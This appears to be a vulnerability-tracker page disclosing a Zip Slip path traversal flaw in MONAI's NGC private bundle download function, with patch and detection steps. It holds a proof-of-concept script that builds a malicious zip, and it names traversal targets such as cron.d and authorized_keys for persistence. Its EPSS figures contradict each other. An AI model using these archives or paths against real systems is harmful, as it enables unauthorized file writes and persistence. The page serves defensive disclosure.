CVE-2026-21851: monai: Path Traversal enables file access
GHSA-9rg3-9pvr-6p27 MEDIUM PoC AVAILABLE CISA: TRACK*If your ML or medical imaging teams use MONAI to download model bundles from NGC private repositories, upgrade to MONAI 1.5.2 immediately. A compromised NGC private repo could allow an attacker to write arbitrary files on ML workstations or training servers via a malicious zip archive. Exploitation probability is very low (EPSS 0.018%), but the fix is trivial and the blast radius on unpatched ML infrastructure could include config overwrites or persistence mechanisms.
What is the risk?
MEDIUM risk in practice. CVSS 5.3 reflects the high attack complexity — exploitation requires an attacker to control or compromise an NGC private repository AND the victim must specifically use the 'source=ngc_private' parameter, a less common code path. EPSS of 0.00018 confirms no current exploitation activity. Not in CISA KEV. The vulnerability is a classic Zip Slip implementation oversight, not a novel attack vector. However, ML infrastructure typically runs with elevated permissions and is often less monitored than production systems, which amplifies potential impact if conditions are met.
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| MONAI | pip | <= 1.5.1 | 1.5.2 |
Do you use MONAI? You're affected.
How severe is it?
What is the attack surface?
What should I do?
5 steps-
PATCH
Upgrade MONAI to 1.5.2 (pip install --upgrade monai). Verify with 'pip show monai'.
-
WORKAROUND (pre-patch): Audit all calls to monai.bundle download functions and restrict use of source='ngc_private' until patched.
-
DETECTION
Review file system activity logs (auditd on Linux, FSEvents on macOS) on ML workstations and training servers for unexpected writes outside MONAI extraction directories, especially during bundle download operations.
-
SUPPLY CHAIN HYGIENE
Verify NGC private repository integrity and access controls — limit who can push to NGC repos used by your teams.
-
SBOM
Ensure MONAI is tracked in your ML software bill of materials for future CVE alerting.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-21851?
If your ML or medical imaging teams use MONAI to download model bundles from NGC private repositories, upgrade to MONAI 1.5.2 immediately. A compromised NGC private repo could allow an attacker to write arbitrary files on ML workstations or training servers via a malicious zip archive. Exploitation probability is very low (EPSS 0.018%), but the fix is trivial and the blast radius on unpatched ML infrastructure could include config overwrites or persistence mechanisms.
Is CVE-2026-21851 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2026-21851, increasing the risk of exploitation.
How to fix CVE-2026-21851?
1. PATCH: Upgrade MONAI to 1.5.2 (pip install --upgrade monai). Verify with 'pip show monai'. 2. WORKAROUND (pre-patch): Audit all calls to monai.bundle download functions and restrict use of source='ngc_private' until patched. 3. DETECTION: Review file system activity logs (auditd on Linux, FSEvents on macOS) on ML workstations and training servers for unexpected writes outside MONAI extraction directories, especially during bundle download operations. 4. SUPPLY CHAIN HYGIENE: Verify NGC private repository integrity and access controls — limit who can push to NGC repos used by your teams. 5. SBOM: Ensure MONAI is tracked in your ML software bill of materials for future CVE alerting.
What systems are affected by CVE-2026-21851?
This vulnerability affects the following AI/ML architecture patterns: training pipelines, model serving, ml library.
What is the CVSS score for CVE-2026-21851?
CVE-2026-21851 has a CVSS v3.1 base score of 5.3 (MEDIUM). The EPSS exploitation probability is 0.31%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010 AI Supply Chain Compromise AML.T0010.001 AI Software AML.T0010.003 Model AML.T0011.001 Malicious Package Compliance Controls Affected
What are the technical details?
Original Advisory
## Summary A **Path Traversal (Zip Slip)** vulnerability exists in MONAI's `_download_from_ngc_private()` function. The function uses `zipfile.ZipFile.extractall()` without path validation, while other similar download functions in the same codebase properly use the existing `safe_extract_member()` function. This appears to be an implementation oversight, as safe extraction is already implemented and used elsewhere in MONAI. **CWE:** CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) --- ## Details ### Vulnerable Code Location **File:** `monai/bundle/scripts.py` **Lines:** 291-292 **Function:** `_download_from_ngc_private()` ```python # monai/bundle/scripts.py - Lines 284-293 zip_path = download_path / f"{filename}_v{version}.zip" with open(zip_path, "wb") as f: f.write(response.content) logger.info(f"Downloading: {zip_path}.") if remove_prefix: filename = _remove_ngc_prefix(filename, prefix=remove_prefix) extract_path = download_path / f"{filename}" with zipfile.ZipFile(zip_path, "r") as z: z.extractall(extract_path) # <-- No path validation logger.info(f"Writing into directory: {extract_path}.") ``` ### Root Cause The code calls `z.extractall(extract_path)` directly without validating that archive member paths stay within the extraction directory. ### Safe Code Already Exists MONAI already has a safe extraction function in `monai/apps/utils.py` (lines 125-154) that properly validates paths: ```python def safe_extract_member(member, extract_to): """Securely verify compressed package member paths to prevent path traversal attacks""" # ... path validation logic ... if os.path.isabs(member_path) or ".." in member_path.split(os.sep): raise ValueError(f"Unsafe path detected in archive: {member_path}") # Ensure path stays within extraction root if os.path.commonpath([extract_root, target_real]) != extract_root: raise ValueError(f"Unsafe path: path traversal {member_path}") ``` ### Comparison with Other Download Functions | Function | File | Uses Safe Extraction? | |----------|------|----------------------| | `_download_from_github()` | scripts.py:198 | ✅ Yes (via `extractall()` wrapper) | | `_download_from_monaihosting()` | scripts.py:205 | ✅ Yes (via `extractall()` wrapper) | | `_download_from_bundle_info()` | scripts.py:215 | ✅ Yes (via `extractall()` wrapper) | | `_download_from_ngc_private()` | scripts.py:292 | ❌ No (direct `z.extractall()`) | --- ## PoC ### Step 1: Create a Malicious Zip File ```python #!/usr/bin/env python3 """Create malicious zip with path traversal entries""" import zipfile import io def create_malicious_zip(output_path="malicious_bundle.zip"): zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf: # Normal bundle file zf.writestr( "monai_test_bundle/configs/metadata.json", '{"name": "test_bundle", "version": "1.0.0"}' ) # Path traversal entry zf.writestr( "../../../tmp/escaped_file.txt", "This file was written outside the extraction directory.\n" ) with open(output_path, 'wb') as f: f.write(zip_buffer.getvalue()) print(f"Created: {output_path}") with zipfile.ZipFile(output_path, 'r') as zf: print("Contents:") for name in zf.namelist(): print(f" - {name}") if __name__ == "__main__": create_malicious_zip() ``` **Output:** ``` Created: malicious_bundle.zip Contents: - monai_test_bundle/configs/metadata.json - ../../../tmp/escaped_file.txt ``` ### Step 2: Demonstrate the Difference This script shows the difference between the vulnerable pattern (used in `_download_from_ngc_private`) and the safe pattern (used elsewhere in MONAI): ```python #!/usr/bin/env python3 """Compare vulnerable vs safe extraction""" import zipfile import tempfile import os def vulnerable_extraction(zip_path, extract_path): """Pattern used in monai/bundle/scripts.py:291-292""" os.makedirs(extract_path, exist_ok=True) with zipfile.ZipFile(zip_path, "r") as z: z.extractall(extract_path) print("[VULNERABLE] Extraction completed without validation") def safe_extraction(zip_path, extract_path): """Pattern used in monai/apps/utils.py""" os.makedirs(extract_path, exist_ok=True) with zipfile.ZipFile(zip_path, "r") as zf: for member in zf.infolist(): member_path = os.path.normpath(member.filename) # Check for path traversal if os.path.isabs(member_path) or ".." in member_path.split(os.sep): print(f"[SAFE] BLOCKED: {member.filename}") continue print(f"[SAFE] Allowed: {member.filename}") # Run demo print("=" * 50) print("VULNERABLE PATTERN (scripts.py:291-292)") print("=" * 50) with tempfile.TemporaryDirectory() as tmpdir: vulnerable_extraction("malicious_bundle.zip", tmpdir) for root, dirs, files in os.walk(tmpdir): for f in files: rel_path = os.path.relpath(os.path.join(root, f), tmpdir) print(f" Extracted: {rel_path}") print() print("=" * 50) print("SAFE PATTERN (apps/utils.py)") print("=" * 50) with tempfile.TemporaryDirectory() as tmpdir: safe_extraction("malicious_bundle.zip", tmpdir) ``` **Output:** ``` ================================================== VULNERABLE PATTERN (scripts.py:291-292) ================================================== [VULNERABLE] Extraction completed without validation Extracted: monai_test_bundle/configs/metadata.json Extracted: tmp/escaped_file.txt ================================================== SAFE PATTERN (apps/utils.py) ================================================== [SAFE] Allowed: monai_test_bundle/configs/metadata.json [SAFE] BLOCKED: ../../../tmp/escaped_file.txt ``` --- ## Impact ### Conditions Required for Exploitation 1. Attacker must control or compromise an NGC private repository 2. Victim must configure MONAI to download from that repository 3. Victim must use `source="ngc_private"` parameter ### Potential Impact If exploited, an attacker could write files outside the intended extraction directory. The actual impact depends on: - The permissions of the user running MONAI - The target location of the escaped files - Python version (newer versions have some built-in path normalization) ### Mitigating Factors - Requires attacker to control an NGC private repository - Modern Python versions (3.12+) have some built-in path normalization - The `ngc_private` source is less commonly used than other sources --- ## Recommended Fix Replace the direct `extractall()` call with MONAI's existing safe extraction: ```diff # monai/bundle/scripts.py + from monai.apps.utils import _extract_zip def _download_from_ngc_private(...): # ... existing code ... extract_path = download_path / f"{filename}" - with zipfile.ZipFile(zip_path, "r") as z: - z.extractall(extract_path) - logger.info(f"Writing into directory: {extract_path}.") + _extract_zip(zip_path, extract_path) + logger.info(f"Writing into directory: {extract_path}.") ``` This aligns `_download_from_ngc_private()` with the other download functions and ensures consistent security across all download sources. --- ## Resources - [CWE-22: Improper Limitation of a Pathname to a Restricted Directory](https://cwe.mitre.org/data/definitions/22.html) - [Snyk: Zip Slip Vulnerability](https://security.snyk.io/research/zip-slip-vulnerability) - [Python zipfile.extractall() Warning](https://docs.python.org/3/library/zipfile.html#zipfile.ZipFile.extractall)
Exploitation Scenario
An attacker with write access to an NGC private repository (via stolen API keys, insider threat, or supply chain compromise of the repository owner) crafts a malicious MONAI bundle zip containing path traversal entries (e.g., '../../../etc/cron.d/malicious-job' or '../../../home/mluser/.ssh/authorized_keys'). When an ML engineer or automated pipeline runs a MONAI bundle download with source='ngc_private', MONAI calls z.extractall() without validation, writing the attacker's files to arbitrary filesystem locations with the permissions of the running process. On a GPU training server running as root or a privileged service account, this achieves persistence or credential harvesting without any additional exploitation.
Weaknesses (CWE)
CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'): The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
- [Implementation] Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylis
- [Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N References
Timeline
Related Vulnerabilities
CVE-2025-58755 8.8 MONAI: path traversal allows arbitrary file write
Same package: monai CVE-2025-58756 8.8 MONAI: unsafe deserialization in CheckpointLoader allows RCE
Same package: monai CVE-2025-58757 8.8 MONAI: unsafe pickle deserialization RCE in data pipeline
Same package: monai GHSA-89gg-p5r5-q6r4 7.7 MONAI: pickle deserialization RCE in Auto3DSeg
Same package: monai CVE-2024-2912 10.0 BentoML: RCE via insecure deserialization (CVSS 10)
Same attack type: Supply Chain